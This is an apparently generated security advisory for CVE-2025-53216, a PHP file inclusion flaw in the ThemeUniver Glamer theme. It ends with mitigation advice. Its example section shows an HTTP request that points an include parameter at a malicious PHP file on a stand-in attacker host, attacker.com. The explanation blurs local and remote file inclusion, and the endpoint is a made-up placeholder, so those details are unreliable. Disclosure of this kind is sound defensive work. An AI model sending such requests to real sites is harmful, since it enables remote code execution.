Overview
The CVE-2025-53216 is a critical cybersecurity vulnerability that resides in the PHP programming of the ThemeUniver Glamer, a widely-used web application. This vulnerability enables an attacker to include local PHP files remotely, leading to potential system compromise or data leakage. Given the severity of the impact, it’s crucial to understand the nature of this vulnerability, how it works, and what can be done to mitigate or prevent the risks associated with it.
Vulnerability Summary
CVE ID: CVE-2025-53216
Severity: Critical (CVSS: 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
ThemeUniver Glamer | n/a through 1.0.2
How the Exploit Works
The vulnerability arises from the improper control of filename for Include/Require Statement in the PHP Program of the ThemeUniver Glamer. This flaw allows an attacker to manipulate the filename that’s passed to the include or require statement, enabling them to include a file located on a remote server rather than a local file. The included file can contain arbitrary PHP code, which is executed in the context of the application. This allows an attacker to execute arbitrary PHP code and potentially gain unauthorized access to sensitive information or perform actions with the same privileges as the application.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This example assumes an HTTP POST request to a vulnerable endpoint:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file_path": "http://attacker.com/malicious_file.php" }In this example, `include_file_path` is the parameter that the application uses to determine which file to include. The attacker has set this to a URL on their server that hosts a malicious PHP file. When the application processes this request, it includes the malicious file, leading to the execution of the arbitrary PHP code contained within.
Mitigation Guidance
To mitigate the risks associated with this vulnerability, it’s recommended that users immediately update ThemeUniver Glamer to the latest version. If an update is not immediately possible, users should consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block exploits targeting this vulnerability.
